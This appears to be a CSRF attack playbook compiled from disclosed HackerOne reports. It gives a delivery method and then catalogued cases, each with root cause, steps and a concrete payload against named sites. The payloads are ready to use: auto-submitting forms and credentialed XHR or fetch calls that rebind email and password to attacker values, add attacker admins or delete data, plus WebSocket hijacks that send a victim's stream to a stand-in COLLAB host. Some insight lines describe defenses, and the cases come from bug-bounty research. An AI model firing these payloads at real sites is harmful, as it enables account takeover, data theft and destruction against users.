Pick the one the endpoint accepts. The default is an auto-submitting form; escalate to XHR/fetch only when a form's Content-Type/method can't reach the endpoint.
The canonical delivery — needs zero victim interaction. history.pushState hides the attacker URL. A form can only send application/x-www-form-urlencoded, multipart/form-data, or text/plain.
<!-- Profile edit changes email+password in one POST -> ATO (#2699029) -->
<form action="https://TARGET/account/profile/edit" method="POST">
<input type="hidden" name="username" value="hacker">
<input type="hidden" name="password" value="ATTACKER_PASS">
<input type="hidden" name="cpassword" value="ATTACKER_PASS">
<input type="hidden" name="email" value="attacker@COLLAB">
<input type="hidden" name="save" value="Save">
</form>
<script>history.pushState('','','/');document.forms[0].submit();</script>
When a form can't shape the request but the endpoint is same-origin-reachable or CORS-permissive, use withCredentials. You won't read the response — the side effect is the payload.
// Email rebind on an unconfirmed account -> password reset -> ATO (#419891)
var x = new XMLHttpRequest();
x.open('POST', 'https://TARGET/signup/email', true);
x.withCredentials = true;
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
x.send('email=' + encodeURIComponent('attacker@COLLAB'));
<!-- Wire body becomes: {"user":"avnadmin","password":"PW","dummy":"="} -> login CSRF (#1458236) -->
<form enctype="text/plain" action="https://ATTACKER-INSTANCE/login" method="POST">
<input name='{"user":"avnadmin","password":"PW","dummy":"' value='"}'>
</form>
<svg onload=document.forms[0].submit()>
// API ignores Content-Type, parses body as JSON -> create malicious resource (#2326194)
// no-cors keeps it a "simple request": text/plain is a CORS-safelisted Content-Type,
// so the credentialed POST fires cross-site with no preflight.
fetch('https://argocd.internal.VICTIM.com/api/v1/applications', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: { 'Content-Type': 'text/plain' },
body: '{"kind":"Application","spec":{"repoURL":"https://COLLAB/manifests"}}'
});
<!-- GET-reachable mutation: no CSRF token checked on the GET path (#1122408) -->
<img src="https://TARGET/graphql?query=mutation{deleteThing(id:1){ok}}">
<!-- _method override reaches DELETE from a simple form (#195156) -->
<form action="https://TARGET/admin/products/123.json" method="POST">
<input type="hidden" name="_method" value="delete">
</form>
# Attacker's own captured callback, dropped-then-replayed against the victim (#423022)
GET /auth/yahoo/callback?_method=post&openid.mode=id_res&openid.identity=...&openid.sig=... HTTP/1.1
Host: TARGET
// Missing Origin check on the WS handshake -> read the victim's live stream (#535436)
var ws = new WebSocket('wss://TARGET/socket');
ws.onmessage = e => navigator.sendBeacon('https://COLLAB/', e.data);
CSRF is an entry/delivery primitive; nearly all corpus value is in the chain.
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 144 in this class.
Real-world example
Set-password CSRF on social-login accounts with no current-password check
◆ Critical
Specimen #442901 · khanacademy · none · 183 votes · resolved
Program khanacademySurface webChain CSRF set-password -> full account takeoverTag account-takeoverTag oauth
Root cause
Accounts created via Google/Facebook have no existing password, so the set-password endpoint skips the current-password gate and its CSRF check is broken -> an attacker sets a known password on the victim's account.
Method
- Create an account via Google/Facebook (no password set)
- Serve the victim an auto-submitting form that POSTs a new password to the set-password endpoint
- Log in with email + ATTACKER_PASS
<!-- auto-submitting form POSTing password=ATTACKER_PASS to the set-password endpoint; no CSRF token, no current-password field -->
Insight — Social-login accounts are a prime CSRF/ATO target: because there is no existing password, 'set password' endpoints often drop both the current-password re-auth and CSRF token. Always test set/change-password flows specifically on OAuth-created accounts.
Real-world example
GraphQL CSRF via session cookie (no anti-CSRF on GraphQL)
◆ Critical
Specimen #2312217 · enjin · 1500 · 59 votes · resolved
Program enjinSurface graphqlTag graphql
Root cause
A GraphQL endpoint authenticated purely by a session cookie applied no CSRF token or Origin/Content-Type check, so a cross-site request could invoke sensitive mutations (revoke API token).
Method
- Confirm GraphQL endpoint accepts cookie-authenticated requests
- Craft an off-site auto-submitting HTML form posting the GraphQL query/mutation
- Load in victim's authenticated browser to force the mutation
Insight — GraphQL over cookie auth is a frequently-missed CSRF surface. Test whether the GraphQL endpoint accepts application/x-www-form-urlencoded / text/plain bodies or GET queries without a CSRF token.
Real-world example
Improper CSRF/state validation in embedded-integration OAuth flow links victim to attacker
◆ High
Specimen #1727221 · security · awarded · 166 votes · resolved
Program securitySurface webChain Integration-link CSRF -> Tray GraphQL raw_http_request -&Tag oauthTag graphql
Root cause
In the Tray.io-backed integration OAuth flow, the CSRF token passed to the oauth2/auth step is not properly validated, so an attacker's pre-generated auth link binds the victim's third-party integration (GitHub/Jira/etc.) to the attacker's account.
Method
- As attacker, begin setting up an integration and capture the GET oauth2/auth/<AuthID>?csrf=...&scope=...&session=... request
- Drop it (do not consume) and send the URL to the victim
- Victim clicks; if already authorized to the provider, no consent prompt appears and the integration is silently linked to the attacker's account
- Attacker uses Tray's GraphQL CallConnector to make arbitrary authenticated calls to the victim's provider API
https://hackerone.integration-authentication.com/oauth2/auth/<AuthID>?csrf=F_Sr5vd7hWMLSkZoubYOTMbwROI922ZU6q1S4fEF43E=&scope=read:org%20repo&session=1iydW3sIKpyTGxhG8lxeWY9ddzaUknoUJT9Rr51ptMc=
Insight — When an OAuth/integration flow carries its own csrf and session tokens in the URL, test whether the backend actually binds them to the victim's session. If the auth step accepts an attacker-generated csrf/session pair, one victim click links their app to the attacker. Post-exploitation often rides a vendor GraphQL proxy (CallConnector) giving raw API access.
Real-world example
OAuth 'connect' initiation lacks CSRF token, relying on third-party state
◆ High
Specimen #170552 · security · USD 2500 · 149 votes · resolved
Program securitySurface webTag oauthTag account-takeover
Root cause
The integration/OAuth flow starts at GET /auth/slack with no anti-CSRF token; the whole flow trusts the third party's state parameter, so any XSS/login-CSRF/clickjacking in the provider lets an attacker complete the flow and connect their own account.
Method
- Observe GET /auth/slack redirects to the provider with only a state param and no local CSRF token
- Force the victim to initiate the connect flow (CSRF the start), then drive the provider callback to attach the attacker's external account
GET https://hackerone.com/auth/slack HTTP/1.1
-> 302 Location: https://slack.com/oauth/authorize?client_id=...&redirect_uri=.../auth/slack/callback&response_type=code&scope=incoming-webhook&state=379fd8f1...
Insight — Protect the START of an OAuth connect flow with your own CSRF token; don't outsource CSRF safety to the provider's state. Adding a post-flow confirmation dialog (Phabricator-style) blocks silent linking. As integrations grow (and especially if login-with-provider is added), this pattern escalates to ATO.
Real-world example
Cross-Site WebSocket Hijacking (missing Origin check on handshake)
◆ High
Specimen #535436 · superhuman · 800 · 134 votes · resolved
Program superhumanSurface webTag corsTag account-takeover
Root cause
The WebSocket handshake (which carries the session cookie) does not validate the Origin header and there is no per-message CSRF token, so an attacker page can open an authenticated wss connection and read/write full-duplex.
Method
- Find wss endpoints in Burp's WebSocket history (e.g. /collab/?params=...&transport=websocket)
- Confirm no Origin check by connecting from a different origin (Simple WebSocket Client) and receiving server data
- Host a malicious page that opens the same wss URL; victim's cookie authenticates it
- Send messages to read/modify data (CSRF over WS)
var ws = new WebSocket('wss://TARGET/documentsCollab/DOCID/collab/?params=BASE64&EIO=3&transport=websocket');
ws.onmessage = e => fetch('https://COLLAB/?d='+btoa(e.data));
ws.onopen = () => ws.send('<state-changing message>');
Insight — For any WebSocket app, replay the handshake with a foreign/absent Origin; if the 101 upgrade succeeds with the cookie, it's CSWSH. Defenses are Origin check on handshake or a CSRF token per message.
Real-world example
CSRF middleware bypass: missing header read as empty string, not null
◆ High
Specimen #2041007 · owncloud · none · 111 votes · resolved
Program owncloudSurface webChain CSRF -> create admin account / arbitrary file shareTag account-takeover
Root cause
SecurityMiddleware skips CSRF enforcement when it believes the request is an API/Authorization-based call; request->getHeader('Authorization') returns '' (empty string) rather than null when absent, so the guard condition mis-fires and the requesttoken is never required.
Method
- Run the vulnerable app version, log in as admin, capture cookies
- Replay any state-changing POST WITHOUT the requesttoken header, cookies only
- e.g. create an admin user; request succeeds because CSRF check was skipped
curl 'http://localhost:8080/settings/users/users' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-H 'Cookie: oc_sessionPassphrase=<p1>; oclt1tejv3yd=<p2>' \
-H 'Origin: http://abc:8080' \
--data-raw 'username=new_admin&groups%5B%5D=admin&password=a&email=test%40mail.com'
Insight — CSRF guards that exempt 'API requests' by checking for an Authorization header are often bypassable: many frameworks return an empty string for a missing header, so `if (header != null)` (or truthy checks that differ from the intended semantics) let a cookie-only browser request slip through. Always test state-changing endpoints with the CSRF token/header simply removed.
Real-world example
CSRF to change unconfirmed email -> password reset -> ATO
◆ High
Specimen #419891 · khanacademy · none · 109 votes · resolved
Program khanacademySurface webChain CSRF email change -> password reset -> account takeoveTag account-takeover
Root cause
The /signup/email endpoint lets an authenticated user change the account email while it is still unconfirmed, without an anti-CSRF token or header validation; an attacker rebinds the victim's email then resets the password.
Method
- Lure a logged-in user with an unconfirmed email to an attacker page
- Page fires a credentialed XHR POST to /signup/email setting email=attacker@evil
- Attacker performs password reset on the now-attacker-owned email -> ATO
var x=new XMLHttpRequest();
x.open('POST','https://www.khanacademy.org/signup/email',true);
x.withCredentials=true;
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
x.send('email='+encodeURIComponent('attacker@rapidlight.io'));
Insight — Email-change endpoints that skip re-auth for 'unconfirmed' accounts are a reliable CSRF->ATO primitive, and they enable mass, un-targeted attacks (no need to know the victim's email/ID). Test every email-change path with the CSRF token removed, especially in the pre-confirmation state.
Real-world example
Social-account link CSRF via unprotected GET OAuth callback -> ATO
◆ High
Specimen #423022 · discourse · awarded · 88 votes · resolved
Program discourseSurface webChain Account-link CSRF -> login as victim -> full account tTag oauthTag account-takeover
Root cause
The 'connect Yahoo' account-linking flow uses a GET callback (openid/oauth) with no CSRF token or Origin check; feeding the victim the attacker's captured callback request links the attacker's identity to the victim's account, enabling login-as-victim.
Method
- As attacker, start 'connect Yahoo', intercept and capture the /auth/yahoo/callback GET containing the attacker's auth token
- Drop the request so the token is not consumed
- Deliver that URL/form to the authenticated victim; victim's account is linked to the attacker's Yahoo
- Attacker logs in with Yahoo -> victim's account
GET /auth/yahoo/callback?_method=post&openid.mode=id_res&openid.claimed_id=...&openid.identity=...&openid.ax.value.email=testhackeroneay%40yahoo.com&openid.sig=... HTTP/1.1
Host: try.discourse.org
Insight — Account-linking callbacks are the classic CSRF->ATO factory: if the link step is a GET or lacks a per-session CSRF token, capture the attacker's OAuth/OpenID callback, drop it to preserve the single-use token, then replay it against the victim. Fix is an anti-CSRF token bound to the initiating session.
Real-world example
No anti-CSRF token on profile-edit -> single form changes email+password (ATO)
◆ High
Specimen #2699029 · deptofdefense · none · 87 votes · resolved
Program deptofdefenseSurface webChain CSRF -> change email+password -> account takeoverTag account-takeover
Root cause
The /account/profile/edit endpoint enforces no CSRF token, and one POST updates username, email and password together, so an auto-submitting cross-site form takes over the account.
Method
- Register and log in (email verification can be skipped)
- Confirm profile edit accepts requests with no CSRF token in Burp
- Serve the auto-submitting form; victim visit rewrites their email+password
<form action="https://TARGET/account/profile/edit" method="POST">
<input type="hidden" name="username" value="hacker"/>
<input type="hidden" name="password" value=""/>
<input type="hidden" name="cpassword" value=""/>
<input type="hidden" name="email" value="attacker@evil.com"/>
<input type="hidden" name="save" value="Save"/>
</form>
<script>history.pushState('','','/');document.forms[0].submit();</script>
Insight — The bread-and-butter CSRF->ATO: any profile/settings endpoint that changes email or password in one request and lacks a token is a full takeover. Test by simply deleting the CSRF token/param and resubmitting; also seen on GET-based state-changing endpoints (linked-account disable, admin runner control, resource deletion).
Real-world example
GraphQL CSRF: mutations via GET bypass the X-CSRF-Token check
◆ High
Specimen #1122408 · gitlab · USD 3370 · 86 votes · resolved
Program gitlabSurface apiTag graphql
Root cause
The GraphQL endpoint requires X-CSRF-Token only on POST; it also executes mutations sent as GET requests (query/variables as query-string params), and GET is not CSRF-checked -> browser-forgeable mutations.
Method
- Take a mutation normally sent as POST with X-CSRF-Token
- Re-send it as a GET form to /api/graphql/ with query and variables as parameters (no token)
- Auto-submit from an attacker page; the mutation executes in the victim's session
<form action="https://gitlab.com/api/graphql/" id="f" method="GET">
<input name="query" value="mutation CreateSnippet($input: CreateSnippetInput!){createSnippet(input:$input){errors snippet{webUrl}}}">
<input name="variables" value='{"input":{"title":"x","description":"y","visibilityLevel":"public","blobActions":[{"action":"create","previousPath":"readme.md","content":"z","filePath":"readme.md"}],"projectPath":""}}'>
</form>
<script>f.submit()</script>
Insight — On GraphQL, always test whether the endpoint accepts GET and whether it runs mutations over GET. Many stacks enforce CSRF tokens only on POST; a GET-executable mutation is a token-free CSRF. Also try dropping the token entirely and switching content-type. Fix requires CSRF checks on GET too (or refusing mutations over GET).
Real-world example
SameSite=Strict bypass via browser 'Open in Split View' dropping Sec-Fetch-Site
◆ High
Specimen #3253725 · brave · awarded · 73 votes · resolved
Program braveSurface web
Root cause
A browser navigation entry point (Split View / special open-link actions) performs a cross-site navigation without emitting the Sec-Fetch-Site: cross-site metadata, so the cookie layer treats it as same-site and sends SameSite=Strict cookies cross-site.
Method
- Host a cross-domain link on an attacker page.
- Have the victim open it via the non-standard navigation (e.g. 'Open Link in Split View').
- Observe that SameSite=Strict cookies for the target are sent despite the cross-site context -> CSRF/authenticated request.
<a href='https://TARGET' target='_blank'>click</a>
<!-- then: right-click -> Open Link in Split View -->
Insight — SameSite enforcement in Chromium relies on correctly-populated Sec-Fetch-Site. Audit every alternate navigation path (split view, new-tab-group, PIP, prerender, side panel) for missing/incorrect Sec-Fetch-* headers; any that drops it silently defeats SameSite=Strict CSRF protection.
Real-world example
GraphQL over GET enables CSRF; permissive CORS enables data theft
◆ High
Specimen #998457 · enjin · 300 · 44 votes · resolved
Program enjinSurface graphqlChain GraphQL-over-GET CSRF + permissive CORS -> act and read aTag graphqlTag cors
Root cause
The GraphQL interface accepted queries via GET (no CSRF token / simple request), and overly-broad CORS rules let attacker origins read responses, so functions could be executed and data read on behalf of a victim.
Method
- Confirm the GraphQL endpoint answers GET requests (query in the URL)
- Craft a GET-based CSRF (or cross-origin fetch) for a state-changing/query operation
- Because GET needs no token and CORS is permissive, the victim's browser executes it with their session
- Read the cross-origin response / observe the action
# CSRF via GET GraphQL (no token):
GET /graphql?query={ me { email } } HTTP/1.1
Host: target
Cookie: <victim session>
Insight — Whenever GraphQL (or any mutating API) accepts GET, you get free CSRF and often cache/log exposure; combined with reflected/permissive CORS it becomes cross-origin read+act. Fix is POST-only + strict CORS - so always test the GET variant.
Real-world example
SameSite-Lax bypass via same-site subdomain + text/plain preflight skip
◆ High
Specimen #2326194 · ibb · 4660 · 34 votes · resolved
Program ibbSurface webChain Same-site XSS/subdomain -> CSRF create Argo Application -Tag cors
Root cause
SameSite=Lax cookies are still sent to a parent/same-site origin, so HTML on any *.victim.com subdomain (e.g. via XSS/takeover) can target the app; setting Content-Type: text/plain avoids the CORS preflight, and the API (Argo CD) does not enforce content type, so a JSON body is accepted.
Method
- Obtain script execution / HTML on any same-site subdomain
- fetch() the API with credentials:'include', mode:'no-cors', Content-Type text/plain
- Send JSON body creating a malicious Application (points repoURL at attacker manifests)
- Argo CD deploys a privileged pod -> reverse shell / cluster takeover
var x=new XMLHttpRequest();x.open('POST','https://argocd.internal.victim.com/api/v1/applications');
x.setRequestHeader('Content-Type','text/plain');x.withCredentials=true;
x.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{..."repoURL":"https://github.com/attacker/argotest",...}}');
Insight — SameSite=Lax is NOT anti-CSRF when you control a same-site subdomain. The reusable primitive: Content-Type text/plain (a CORS 'simple request') skips preflight, and any API that doesn't enforce Content-Type will parse the text as JSON. Test internal apps hosted on shared parent domains.
Real-world example
Site-wide missing CSRF tokens on account settings
◆ High
Specimen #951292 · automattic · awarded · 32 votes · resolved
Program automatticSurface webChain CSRF email change -> password reset -> account takeove
Root cause
Account-management state-changing endpoints have no CSRF token and no other anti-CSRF check, so cross-site requests can change email, delete a card, etc.
Method
- Log in and capture an account-settings state-changing request (e.g. change email)
- Remove the token / replay from another origin - it still succeeds
- Host an auto-submitting form to perform the action on a victim
<form action="https://magazine.atavist.com/cms/change_email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
Insight — Test every account-settings action for CSRF by dropping the token and by cross-origin replay; email change chains to account takeover. Sequential user IDs in the same request hint at further IDOR.
Real-world example
Cross-Site WebSocket Hijacking via Origin allow-list parser bypass
◆ High
Specimen #931197 · nodejs-ecosystem (socket.io) · none · 27 votes · resolved
Program nodejs-ecosystem (socket.io)Surface webTag cors
Root cause
socket.io 2.3.0 validated the WebSocket Origin against an allow-list with naive string logic; browsers accept special chars (backtick, $) in host names, so an origin like localhost`evil.io or http://localhost$evil.io is served by the attacker's domain yet passes the server check as 'localhost'.
Method
- Confirm the WS server enforces an Origin allow-list (io.origins([...])).
- Register/serve from a host containing a special char after the allowed value, e.g. localhost`evil.io or localhost$evil.io.
- Open a WS from that origin; server treats it as allowed and CSWSH succeeds (send/receive messages as the victim).
// allowed: http://localhost:80
// attacker-controlled origins that the parser accepts as 'localhost':
Origin: http://localhost`evil.io
Origin: http://localhost$evil.io
Insight — Origin allow-list checks are string parsing and drift from browser URL parsing. Test host-parsing confusion chars (backtick, $, \, @, whitespace, unicode) to make an attacker domain satisfy a same-origin/allow-list check - applies to WS Origin, CORS reflection, and cookie-scope logic.
Real-world example
SameSite=Lax bypass via sibling subdomain (login CSRF + SSRF) - CVE-2022-21703
◆ High
Specimen #1458236 · aiven_ltd (Grafana) · awarded · 27 votes · resolved
Program aiven_ltd (Grafana)Surface webChain login CSRF -> attacker-instance SSRF -> same-site CSRFTag ssrf
Root cause
Grafana set grafana_session with SameSite=Lax; because attacker and victim instances share a parent domain (*.aivencloud.com) the request is same-site, so Lax does not block it. The attacker chains login-CSRF into their own instance then a Grafana SSRF datasource proxy to fire a top-level, cookie-bearing cross-origin POST at the victim instance.
Method
- Stand up an attacker instance on a sibling subdomain of the same parent domain as the victim.
- Login-CSRF the victim into the attacker instance (enctype=text/plain JSON-smuggling form + svg onload auto-submit).
- Create an SSRF datasource on the attacker instance whose proxy triggers a top-level navigation POST to the victim instance; SameSite=Lax permits it because both are same-site.
- POSTs (create admin user via /api/org/invites, create dashboard) execute with the victim's grafana_session.
// login CSRF (text/plain JSON smuggling)
<form enctype="text/plain" action="${att}/login" method=POST>
<input name='{"user":"avnadmin","password":"PW","dummy":"' value='"}'></form>
<svg onload=document.forms[0].submit()>
// then cross-origin, credentialed:
fetch(`${victim}/api/org/invites`,{method:'POST',mode:'no-cors',credentials:'include',headers:{'Content-Type':'text/plain; application/json'},body:JSON.stringify({role:'Admin',loginOrEmail:'attacker@example.com'})})
Insight — SameSite=Lax is NOT CSRF protection when the attacker can run code on any sibling subdomain of the cookie's registrable domain - shared multi-tenant *.vendor.com platforms are same-site. Also: text/plain enctype smuggles JSON bodies past CORS preflight, and Lax still allows top-level navigation POSTs.
Real-world example
CSRF via GET transfer-code link (domain hijack incl. DNS)
◆ High
Specimen #416978 · shopify · awarded · 23 votes · resolved
Program shopifySurface web
Root cause
An inter-store domain transfer was driven entirely by a transfer_code carried in a GET URL with no per-user CSRF/ownership check, so forcing a logged-in victim's browser to hit the admin transfer endpoint attaches the attacker's domain — and its full DNS/MX/forwarder records — to the victim's store.
Method
- Request a transfer of an attacker-owned domain and grab the emailed transfer link (login?redirect=settings/domains/initiate_inter_shop_domain_transfer?transfer_code=...)
- Rewrite it to hit the victim store admin path directly: https://victimstore.myshopify.com/admin/settings/domains/initiate_inter_shop_domain_transfer?transfer_code=...
- Embed as an <img> or auto-open in the victim's authenticated session
- Domain plus its DNS records land in the victim store
<img src="https://victimstore.myshopify.com/admin/settings/domains/initiate_inter_shop_domain_transfer?transfer_code=6fa6d18a-d2d1-4114-b11e-236b20f81398">
Insight — Confirmation/transfer links that carry only a state-changing token in a GET are CSRF sinks; strip any login?redirect= wrapper and point the browser straight at the underlying admin path.
Real-world example
Persistent (stored) CSRF poisons cart -> permanent purchase DoS
◆ High
Specimen #206319 · starbucks · awarded · 22 votes · resolved
Program starbucksSurface web
Root cause
An unprotected GiftCert-AddToBasket POST let an attacker add a gift certificate to a victim's server-side cart; the poisoned cart permanently removed the credit-card payment option, blocking all future purchases and surviving logout/cart-clear.
Method
- Find the unprotected Demandware GiftCert-AddToBasket endpoint
- Auto-submit a cross-site form adding a gift certificate to the victim cart
- Victim's cart can no longer be emptied and the credit-card payment method disappears permanently
<form method="POST" action="http://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/GiftCert-AddToBasket">
<input name="dwfrm_giftcert_purchase_from" value="Test">
<input name="dwfrm_giftcert_purchase_recipient" value="Test">
<input name="dwfrm_giftcert_purchase_recipientEmail" value="valid@iamvalid.com">
<input name="dwfrm_giftcert_purchase_confirmRecipientEmail" value="valid@iamvalid.com">
<textarea name="dwfrm_giftcert_purchase_message">Bla</textarea>
<input name="dwfrm_giftcert_purchase_amount" value="100">
</form>
Insight — CSRF that writes to durable server-side state (cart, saved items, profile) becomes a lasting DoS; hunt for state that survives logout and blocks a core revenue flow rather than one-shot actions.
Real-world example
Login CSRF (session-fixation) via session_id in request body
◆ High
Specimen #293016 · unikrn · awarded · 17 votes · resolved
Program unikrnSurface apiChain login CSRF -> victim operates inside attacker account -&gTag account-takeover
Root cause
API endpoints accepted session_id in the request body and reflected it into a Set-Cookie response, so a cross-site POST carrying the attacker's session_id silently logs the victim into the attacker's account.
Method
- Attacker logs in and grabs their session_id (CW cookie value)
- Craft a CSRF form POSTing session_id=ATTACKER_SESSION to /apiv1/
- Victim (logged out) visits, then browses the site now authenticated as the attacker
<form action="https://unikrn.com/apiv1/" method="POST">
<input type="hidden" name="session_id" value="ATTACKER_SESSION_ID">
</form>
<script>document.forms[0].submit()</script>
Insight — Login/session endpoints that set the session from a request parameter are login-CSRF sinks; logging the victim into an attacker-controlled account harvests their subsequent activity/PII or sets up social-engineering. Classic variant: a login form with no CSRF token (#774, Phabricator) directly authenticates the victim as the attacker.
Real-world example
Widespread CSRF: CORS is not a CSRF defense, no SameSite, JSON accepts form-urlencoded
◆ High
Specimen #1309435 · upchieve · none · 17 votes · resolved
Program upchieveSurface apiTag cors
Root cause
Session cookies lacked SameSite and endpoints had no CSRF tokens; a permissive CORS allowlist gave false comfort (it only blocks response reads, not the request), so blind cross-site POSTs performed sensitive actions across the app.
Method
- Confirm session cookie has no SameSite and no CSRF token is required
- Send state-changing POSTs from an attacker page as application/x-www-form-urlencoded (accepted even though app uses JSON)
- Perform calendar changes, quiz submissions, reference requests, password-reset sends blindly
<form action="https://TARGET/api/calendar/save" method="POST">
<input type="hidden" name="availability[Sunday][12a]" value="true">
<input type="hidden" name="tz" value="Asia/Singapore">
</form>
<script>document.forms[0].submit()</script>
Insight — CORS never prevents CSRF — it only stops the attacker reading the response. If the session cookie has no SameSite and there is no token, every state-changing POST is exploitable even for JSON APIs (resend as x-www-form-urlencoded); old browsers may even let non-simple methods (PUT) through.
Real-world example
CSRF to add attacker as account 'provider' -> account takeover
◆ High
Specimen #141344 · drchrono · awarded · 7 votes · resolved
Program drchronoSurface apiChain CSRF add provider -> attacker linked -> full account aTag account-takeover
Root cause
A state-changing API endpoint that grants access (adds a 'provider'/authorized entity with the attacker's email) did not validate the CSRF token, so a forged cross-site POST silently attaches the attacker to the victim's account.
Method
- Identify an endpoint that adds an authorized party/email to the account (here POST /api/v3/providers)
- Host an auto-submitting form POSTing attacker email/details to it
- Victim (logged in) visits attacker page; attacker is added as a provider and gains access to the victim's records/account
<form action="https://onpatient.com/api/v3/providers" method="POST">
<input name="patient" value="VICTIM_ID">
<input name="name" value="attacker">
<input name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
Insight — 'Add authorized entity' endpoints (providers, delegates, team members, sharing/ACL grants) are high-value CSRF sinks: they convert a single forged request into persistent account access. Confirmed real by the fix returning 403 {"detail":"CSRF Failed"}. Test every add-collaborator/add-recipient action for token enforcement.
Real-world example
User-invitation via GET -> CSRF grants attacker internal access
◆ High
Specimen #323975 · pingidentity · awarded · 4 votes · resolved
Program pingidentitySurface webTag account-takeover
Root cause
The invite-user action is a GET request with no CSRF protection, so an attacker can force an admin to invite the attacker's email into the org, gaining internal access.
Method
- Identify the invite endpoint as a GET with email params
- Serve it to a logged-in admin via CSRF
- Attacker email is invited into the org/tenant
<img src="https://ort-admin.pingone.com/web-portal/ajax/user/directory/inviteuser/?alternate_email=attacker@evil.com&email=attacker@evil.com">
Insight — Invite/add-member endpoints are high-impact CSRF: instead of destroying data you grant YOURSELF a foothold inside the victim org. Always check whether user provisioning is a tokenless GET.
Real-world example
GET-CSRF mass action over guessable global IDs
◆ High
Specimen #45050 · informatica · none · 3 votes · resolved
Program informaticaSurface web
Root cause
A destructive action (move private message to trash) is a tokenless GET keyed by a globally sequential message ID, so an attacker can spray many <img> requests across an ID range to destroy another user's data.
Method
- Confirm the action is a tokenless GET (pm-delete.jspa?messageID=N)
- Determine current max ID by sending yourself a message and reading its ID
- Generate <img> tags for [max-N, max] and inject them into the attacker page
- Victim loads the page; each image issues the delete GET
<script>
var id=16000, n=100, html="";
for(var i=0;i<n;i++){ html+='<img src="https://community.informatica.com/pm-delete.jspa?1&messageID='+(id++)+'">'; }
document.body.innerHTML=html;
</script>
Insight — When a CSRF sink is keyed by a predictable/global integer ID, CSRF becomes a mass-destruction primitive: enumerate the ID window and fire one image per ID. Watch that some backends abort the batch on the first non-existent ID (send one request per ID instead of a batched list).
Real-world example
CSRF in WP plugin AJAX -> stored XSS as admin -> RCE
◆ High
Specimen #125594 · uber · none · 3 votes · resolved
Program uberSurface webChain CSRF (no nonce) -> edit any post -> stored XSS in admi
Root cause
A WordPress plugin's wp_ajax_ handler (frs_save) performs wp_update_post with no nonce/CSRF check, so CSRF against a logged-in admin can overwrite any post/page with attacker HTML, yielding stored XSS in admin context and then RCE via the theme/plugin editor.
Method
- Identify a plugin admin-ajax action lacking check_ajax_referer (frs_save)
- CSRF the admin to POST attacker content into any post_id (inject <script>)
- Script runs with admin privileges -> use plugin/theme editor to write PHP -> RCE
<form method=post action="https://eng.uber.com/wp-admin/admin-ajax.php?action=frs_save">
<input name="post_id" value="POST_ID">
<input name="title" value="x">
<input name="content" value="<script>/*admin JS -> theme editor -> PHP*/</script>">
</form>
Insight — WordPress admin-ajax plugin handlers frequently forget check_ajax_referer; a missing nonce there is a full chain: CSRF -> arbitrary post edit -> stored XSS as admin -> PHP via editor -> RCE. Grep plugins for add_action('wp_ajax_...') handlers with no nonce check.
Real-world example
Static (non-rotating) anti-CSRF token is replayable forever
◆ Medium
Specimen #807924 · shopify · awarded · 303 votes · resolved
Program shopifySurface webTag oauth
Root cause
The only CSRF defense on the 'connect PayPal' flow was a merchantId token that is fixed per store and never rotates; once known or previously seen, it lets an attacker forge the request to bind the attacker's PayPal as the store's payment provider.
Method
- Open the payments settings and start 'Activate PayPal express checkout' to capture the store-specific merchantId token from the link
- Build a CSRF page hitting complete_paypal_incontext_oauth with that merchantId and the attacker's merchantIdInPayPal
- Victim (a current/former admin who knows the value, or after leak) visits the page -> store payment provider is switched to attacker's PayPal
https://YOURSUBDOMAIN.myshopify.com/admin/payments/complete_paypal_incontext_oauth/41?merchantId=REPLACEME&merchantIdInPayPal=5NS8DHQCFGT84&permissionsGranted=true&accountStatus=BUSINESS_ACCOUNT&consentStatus=true&productIntentID=addipmt&productIntentId=addipmt&isEmailConfirmed=true
Insight — A CSRF token is only a defense if it is unpredictable AND rotates. Any long-but-fixed value (base64 blob, account GUID) that appears in URLs, is shared with prior admins, or can leak, is effectively a permanent bypass. Always test whether the 'token' changes across sessions.
Real-world example
Destructive-action CSRF exposed by a login-provider migration
◆ High
Specimen #615448 · flickr · awarded · 92 votes · resolved
Program flickrSurface webTag account-takeover
Root cause
The account-deletion form previously used the Yahoo auth code as its CSRF token; after migrating to a new identity provider the token was dropped, leaving account deletion CSRFable.
Method
- Locate the highest-impact state-changing form (account deletion)
- Confirm no anti-CSRF token is present after the auth-provider migration
- Auto-submit the delete form from an attacker page
Insight — Re-audit CSRF protection right after any authentication/identity-provider migration or login-flow rewrite: tokens that were sourced from the old provider frequently vanish, and high-impact endpoints (account deletion, email change, payment) are the ones to check first.
Real-world example
CSRF defense that relies on default SameSite fails on non-Chrome browsers
◆ High
Specimen #1113559 · starbucks · awarded · 77 votes · resolved
Program starbucksSurface webChain CSRF token leak -> add card / single account takeoverTag account-takeover
Root cause
Protection depended on the browser applying SameSite=Lax by default to the session cookie; on browsers that do not default cookies to SameSite=Lax, the cross-site request carries the cookie and a crafted page leaks an access token / adds a card.
Method
- Identify a cookie with no explicit SameSite attribute set by the server
- Deliver the CSRF PoC to a victim using a non-Chrome browser (no default Lax)
- Access token leaks / state change succeeds
Insight — Never rely on browser-default SameSite=Lax as your CSRF defense: it is browser- and version-dependent (Chrome defaults Lax; others historically did not) and only applies after ~2 minutes for top-level POSTs. Set SameSite explicitly AND use a real anti-CSRF token. When testing, repro in a browser that lacks the default.
Real-world example
Mermaid CSS-class injection hijacks delegated click handler to force arbitrary PUT
◆ Medium
Specimen #824689 · gitlab · awarded · 135 votes · resolved
Program gitlabSurface web
Root cause
Mermaid diagrams let users set arbitrary class names on nodes. GitLab issue.js registers a delegated click handler on `.js-issuable-actions a.btn-close` that does axios.put($button.attr('href')). Injecting those class names plus a click link produces an attacker-directed same-origin PUT with the victim's session.
Method
- Create an issue whose description embeds a Mermaid graph.
- Assign the target node the classes js-issuable-actions and btn-close and a click link to the desired path.
- When any user clicks the rendered node, the delegated handler fires axios.put on the href (e.g. an API endpoint that mutates state).
```mermaid
graph TD;
A[Click to send a PUT request];
class A js-issuable-actions;
class A btn-close;
click A "/api/v4/projects/PROJECT_ID/issues/2?description=pwned" "go"
```
